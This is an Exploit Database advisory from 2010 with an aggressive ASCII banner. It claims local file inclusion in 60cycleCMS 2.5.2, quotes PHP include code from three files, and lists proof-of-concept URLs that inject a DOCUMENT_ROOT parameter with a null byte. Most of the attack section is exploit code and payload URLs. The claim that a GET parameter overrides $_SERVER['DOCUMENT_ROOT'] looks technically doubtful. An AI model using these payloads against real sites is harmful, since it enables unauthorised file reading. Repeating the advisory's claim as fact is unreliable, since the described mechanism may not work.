60cycleCMS 2.5.2 – ‘DOCUMENT_ROOT’ Multiple Local File Inclusions

Exploit Database
120 阅读

作者： eidelweiss

日期： 2010-04-15
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/12249/

########################################################

fucking the Web Apps [attack edition]

__________

/\_<code>\ /\ \__/\ \__/\ \

\ \ \L\_\_______\ \ \/'\ /\_\_____\ \ ,_\ \ \_____

\ \_\/\ \/\ \/'___\ \ , < \/\ \ /' _ </code>\/'_ <code>\ \ \ \/\ \_ </code>\/'__<code>\

\ \ \/\ \ \_\ \/\ \__/\ \ \</code>\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\__/

\ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\

\/_/\/___/\/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/

/\____/

\_/__/

____________ By: eidelweiss

/\ \__/\ \/\ \/\_\

\ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \_____ _____ ____

\ \ \ \ \ \ \/'__<code>\ \ '__</code>\ \ \__ \/\ '__<code>\/\ '__</code>\/',__\

\ \ \_/ \_\ \/\__/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, <code>\

\ </code>\___x___/\ \____\\ \_,__/\ \_\ \_\ \ ,__/\ \ ,__/\/\____/

'\/__//__/\/____/ \/___/\/_/\/_/\ \ \/\ \ \/\/___/

\ \_\ \ \_\

\/_/\/_/

[+]Title: 60cycleCMS v2.5.2 (DOCUMENT_ROOT) Multiple Local File Inclusion Vulnerability

[+]Version: 2.5.2

[+]Download: http://php.opensourcecms.com/scripts/details.php?scriptid=337

[+]License: New BSD (http://www.opensource.org/licenses/bsd-license.php)

[+]Author: eidelweiss

[+]Contact: eidelweiss[at]cyberservices[dot]com

[!]Thank`s To: All Friends

########################################################

[!] Descriptsion

60cycleCMS is a simple CMS using PHP and MySQL. It is designed for blogging on personal websites, and was first written to power 60cycle.net.

For the purposes of easy integration into existing sites, 60cycleCMS does not include a web template.

[!]-=[ Vuln C0de ]=-[!]

[-]60cycleCMS_path/news.php

<?php

require 'common/lib.php';

$root = $_SERVER['DOCUMENT_ROOT'];

require_once("$root/../config.php");

[-] 60cycleCMS_path/submitComment.php

<?php

session_start();

require_once('lib/recaptchalib.php');

require_once('lib/htmlpurifier-4.0.0/HTMLPurifier.standalone.php');

$root = $_SERVER['DOCUMENT_ROOT'];

require_once("$root/../config.php");

[-] 60cycleCMS_path/common/sqlConnect.php

<?php

// include your sql info file here

$root = $_SERVER['DOCUMENT_ROOT'];

require "$root/../config.php";

[!] -=[ Proof Of Concept ]=-[!]

http://127.0.0.1/60cycleCMS_path/news.php?DOCUMENT_ROOT= [LFI]%00

http://127.0.0.1/60cycleCMS_path/submitComment.php?DOCUMENT_ROOT= [LFI]%00

http://127.0.0.1/60cycleCMS_path/common/sqlConnect.php?DOCUMENT_ROOT= [LFI]%00

########################################################